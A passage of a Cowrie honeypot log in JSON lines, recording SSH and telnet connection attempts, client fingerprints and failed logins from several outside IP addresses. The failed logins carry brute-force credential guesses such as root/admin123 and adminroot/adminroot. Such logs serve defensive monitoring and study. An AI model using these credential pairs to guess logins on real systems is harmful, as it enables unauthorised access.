es-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:10:17.711865Z","src_ip":"159.203.92.129","session":"17ad1a718da5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"arma3","password":"123456","message":"login attempt [arma3/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:10:17.779348Z","src_ip":"159.203.92.129","session":"17ad1a718da5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:10:18.802219Z","src_ip":"159.203.92.129","session":"17ad1a718da5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.198919534683228,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:10:20.274139Z","src_ip":"176.74.31.147","session":"dbea98138edc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.74.31.147","src_port":48986,"dst_ip":"159.203.135.109","dst_port":23,"session":"0578286018d9","protocol":"telnet","message":"New connection: 176.74.31.147:48986 (159.203.135.109:23) [session: 0578286018d9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:10:25.847736Z"}
{"eventid":"cowrie.login.failed","username":"ossuser","password":"Changeme_123","message":"login attempt [ossuser/Changeme_123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:10:32.651894Z","src_ip":"122.168.114.167","session":"ac7f12cedca0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.456799030303955,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:10:33.301888Z","src_ip":"176.74.31.147","session":"65d5a28b585b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"34.3","message":"Connection lost after 34.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:10:39.254500Z","src_ip":"122.168.114.167","session":"ac7f12cedca0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"122.168.114.167","src_port":49442,"dst_ip":"159.203.135.109","dst_port":22,"session":"d61729c0fadd","protocol":"ssh","message":"New connection: 122.168.114.167:49442 (159.203.135.109:22) [session: d61729c0fadd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:10:42.532737Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:10:48.539471Z","src_ip":"122.168.114.167","session":"d61729c0fadd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:10:48.543301Z","src_ip":"122.168.114.167","session":"d61729c0fadd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.538846969604492,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:10:56.386447Z","src_ip":"176.74.31.147","session":"0578286018d9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.182.132.154","src_port":47532,"dst_ip":"159.203.135.109","dst_port":22,"session":"17ada2534012","protocol":"ssh","message":"New connection: 103.182.132.154:47532 (159.203.135.109:22) [session: 17ada2534012]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:10:58.374728Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:10:58.378916Z","src_ip":"103.182.132.154","session":"17ada2534012","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:10:58.590533Z","src_ip":"103.182.132.154","session":"17ada2534012","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"adminroot","password":"adminroot","message":"login attempt [adminroot/adminroot] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:10:59.498529Z","src_ip":"103.182.132.154","session":"17ada2534012","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:11:00.717475Z","src_ip":"103.182.132.154","session":"17ada2534012","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":57532,"dst_ip":"159.203.135.109","dst_port":22,"session":"8aa04896fa87","protocol":"ssh","message":"New connection: 159.203.92.129:57532 (159.203.135.109:22) [session: 8aa04896fa87]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:11:03.464198Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:11:03.468884Z","src_ip":"159.203.92.129","session":"8aa04896fa87","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:11:03.477753Z","src_ip":"159.203.92.129","session":"8aa04896fa87","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"arma3","password":"arma3","message":"login attempt [arma3/arma3] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:11:03.490629Z","src_ip":"159.203.92.129","session":"8aa04896fa87","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:11:04.497167Z","src_ip":"159.203.92.129","session":"8aa04896fa87","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.26.126.47","src_port":37884,"dst_ip":"159.203.135.109","dst_port":23,"session":"b72c8c34921a","protocol":"telnet","message":"New connection: 185.26.126.47:37884 (159.203.135.109:23) [session: b72c8c34921a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:11:05.841588Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"123qwe!@","message":"login attempt [root/123qwe!@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:11:05.936626Z","src_ip":"122.168.114.167","session":"d61729c0fadd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"186.80.18.158","src_port":52098,"dst_ip":"10.17.0.5","dst_port":22,"session":"33b64a6d4c84","protocol":"ssh","message":"New connection: 186.80.18.158:52098 (10.17.0.5:22) [session: 33b64a6d4c84]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:11:07.686578Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:11:07.691553Z","src_ip":"186.80.18.158","session":"33b64a6d4c84","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:11:07.768495Z","src_ip":"186.80.18.158","session":"33b64a6d4c84","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"oracleroot","message":"login attempt [root/oracleroot] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:11:08.102250Z","src_ip":"186.80.18.158","session":"33b64a6d4c84","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:11:09.180073Z","src_ip":"186.80.18.158","session":"33b64a6d4c84","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"29.2","message":"Connection lost after 29.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:11:11.700600Z","src_ip":"122.168.114.167","session":"d61729c0fadd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.74.31.147","src_port":50890,"dst_ip":"159.203.135.109","dst_port":23,"session":"4a52fc6e0cec","protocol":"telnet","message":"New connection: 176.74.31.147:50890 (159.203.135.109:23) [session: 4a52fc6e0cec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:11:11.904494Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.74.31.147","src_port":51114,"dst_ip":"159.203.135.109","dst_port":23,"session":"73dab908d149","protocol":"telnet","message":"New connection: 176.74.31.147:51114 (159.203.135.109:23) [session: 73dab908d149]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:11:12.852125Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.74.31.147","src_port":53722,"dst_ip":"159.203.135.109","dst_port":23,"session":"9963d60d2797","protocol":"telnet","message":"New connection: 176.74.31.147:53722 (159.203.135.109:23) [session: 9963d60d2797]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:11:19.721535Z"}
{"eventid":"cowrie.session.connect","src_ip":"122.168.114.167","src_port":51850,"dst_ip":"159.203.135.109","dst_port":22,"session":"b7ff52735ad4","protocol":"ssh","message":"New connection: 122.168.114.167:51850 (159.203.135.109:22) [session: b7ff52735ad4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:11:27.732810Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:11:31.641896Z","src_ip":"122.168.114.167","session":"b7ff52735ad4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:11:31.646136Z","src_ip":"122.168.114.167","session":"b7ff52735ad4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.38017749786377,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:11:42.284487Z","src_ip":"176.74.31.147","session":"4a52fc6e0cec","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.409363269805908,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:11:43.261205Z","src_ip":"176.74.31.147","session":"73dab908d149","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":42.472511291503906,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:11:48.313966Z","src_ip":"185.26.126.47","session":"b72c8c34921a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":47502,"dst_ip":"159.203.135.109","dst_port":22,"session":"d560d7ad6b5a","protocol":"ssh","message":"New connection: 159.203.92.129:47502 (159.203.135.109:22) [session: d560d7ad6b5a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:11:48.777743Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:11:48.782559Z","src_ip":"159.203.92.129","session":"d560d7ad6b5a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:11:48.787283Z","src_ip":"159.203.92.129","session":"d560d7ad6b5a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"arma3server","password":"123456","message":"login attempt [arma3server/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:11:48.797705Z","src_ip":"159.203.92.129","session":"d560d7ad6b5a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:11:49.803409Z","src_ip":"159.203.92.129","session":"d560d7ad6b5a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.597158908843994,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:11:50.318568Z","src_ip":"176.74.31.147","session":"9963d60d2797","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"admin123","message":"login attempt [root/admin123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:11:51.886946Z","src_ip":"122.168.114.167","session":"b7ff52735ad4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"28.6","message":"Connection lost after 28.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:11:56.353822Z","src_ip":"122.168.114.167","session":"b7ff52735ad4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"186.80.18.158","src_port":51834,"dst_ip":"10.17.0.5","dst_port":22,"session":"3a06c2097e68","protocol":"ssh","message":"New connection: 186.80.18.158:51834 (10.17.0.5:22) [session: 3a06c2097e68]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:12:05.325200Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:12:05.330149Z","src_ip":"186.80.18.158","session":"3a06c2097e68","protocol":"ssh"}
